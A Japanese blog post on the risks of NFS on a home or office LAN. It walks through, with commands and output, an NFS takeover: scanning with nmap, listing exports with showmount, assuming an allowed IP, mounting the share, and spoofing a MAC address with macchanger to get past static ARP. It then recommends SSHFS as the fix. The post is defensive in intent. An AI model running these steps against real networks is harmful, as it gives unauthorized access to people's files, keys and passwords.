NFSこわい

/ Linux/Unix / Comment[0]
攻撃者がヘビーLinuxerで無線LANのパスワードがバレたらもうオワタ
APに接続され、showmountコマンドでNFSがマウントを許可しているIPアドレスとマウントポイントを把握されてしまい、NICをそのIPアドレスに設定してmountコマンドを実行してしまえば、簡単にHDDを覗かれてしまう。
もし、そのHDDの中にsshキーだとか、パスワードのメモだとか、エロフォルダ、機密ファイルだとかがはいっていたらもうヤバイ

NFS乗っ取り
# nmap -p2049 --open 192.168.1.0/24
Nmap scan report for BlackHawk (192.168.1.99)
Host is up (0.00021s latency).
PORT STATE SERVICE
2049/tcp open nfs

# showmount --all 192.168.1.99
All mount points on 192.168.1.99:
10.0.0.1:/storage
192.168.1.10:/storage/nyannyan
192.168.1.2:/storage

# ifconfig wlan0 192.168.1.2
# mount 192.168.1.99:/storage /mnt
# ls /mnt
nyannyan Backup Video Music Documents lost+found


それでもNFSを使いたい場合は、適切なセキュリティ対策を施す必要がある。
NFSのネットワークセグメントを物理的に区切ってアクセス制御をするとか、スタティックARPテーブルを活用するとか。
セグメントを物理的に区切る方法はちょっと骨が折れる。というわけで比較的簡単なスタティックARPテーブルの活用で対処しよう。

ローカルセグメントにARPリクエストを飛ばしてarpテーブルを更新し、ファイルに記録する。
# nmap -sP 192.168.1.0/24 10.0.0.1-10
# arp -n |grep ether|awk '{print $3,$1}' > arp_table
arp_table
192.168.1.1 00:1b:8b:AA:AA:AA
192.168.1.99 00:27:0e:BB:BB:BB
192.168.1.202 00:22:cf:CC:CC:CC
10.0.1.1 00:27:0e:DD:DD:DD
192.168.1.254 00:22:cf:EE:EE:EE

/etc/ethersに保存、arp登録
# cat arp_table > /etc/ethers
# arp -f

これで、/etc/ethersのエントリに無いホストからの通信には一切応じないようになった。
また、ローカルセグメント上の全てのホストにarp_tableを配布、適応すれば更に強いネットワークになる。けどめんどくさいからやめた


macchangerなどのツールを使用すれば、MACアドレスを簡単に偽装出来てしまうので、スタティックARPの活用も限界がある。
無線LANではうまくいかなかったが、有線接続におけるNICのMACアドレス偽装は容易である。

# macchanger -r eth0
Current MAC: 90:fb:a6:AA:AA:AA (unknown)
Faked MAC: 44:be:92:be:8b:be (unknown)
# tcpdump arp -n -i eth0
11:50:11.552288 ARP, Request who-has 192.168.1.2 tell 192.168.1.99, length 46
11:50:11.552325 ARP, Reply 192.168.1.2 is-at 44:be:92:be:8b:be, length 28
11:51:19.750951 ARP, Request who-has 192.168.1.2 tell 192.168.1.99, length 46
11:51:19.750991 ARP, Reply 192.168.1.2 is-at 44:be:92:be:8b:be, length 28
11:51:29.712021 ARP, Request who-has 10.0.0.1 tell 10.0.1.1, length 46
11:51:29.712044 ARP, Reply 10.0.0.1 is-at 44:be:92:be:8b:be, length 28
11:55:37.132220 ARP, Request who-has 192.168.1.2 tell 192.168.1.1, length 46
11:55:37.132241 ARP, Reply 192.168.1.2 is-at 44:be:92:be:8b:be, length 28
192.168.1.2と10.0.0.1が自ホスト。is-atで偽MACアドレスを返していることが分かる。

MACアドレス偽装のNFS乗っ取り
# ping 192.168.1.2 -c1 ; arp -n 192.168.1.2
192.168.1.2                 ether   90:fb:a6:AA:AA:AA   C                     eth0
# ifconfig eth0 192.168.1.2
# macchanger -m 90:fb:a6:AA:AA:AA eth0
# mount 192.168.1.99:/storage /mnt
# ls /mnt
nyannyan Backup Video Music Documents lost+found
この場合は、施錠や空きLANポートを塞ぐなど物理的な保護により防げる。


それ以上のセキュリティを求める環境ならば、SSHFSに乗り換えた方がいいかもしれない。
SSHFSは名前の通り、SSHを利用したファイルシステムである。sshdとsshfsクライアントがあれば簡単にセキュアなファイルシステム共有が出来る。
$ sudo apt-get install sshfs
マウントポイント作成
$ mkdir sshfs
マウント
$ sshfs srv@192.168.1.99:/storage sshfs
$ ls sshfs
nyannyan Backup Video Music Documents lost+found

起動時に自動でマウント
/etc/fstab
:
sshfs#srv@192.168.1.99:/storage /home/phtm/sshfs fuse rw,user 0 0
関連記事

コメント

:
:
:
:
:
管理人のみ表示を許可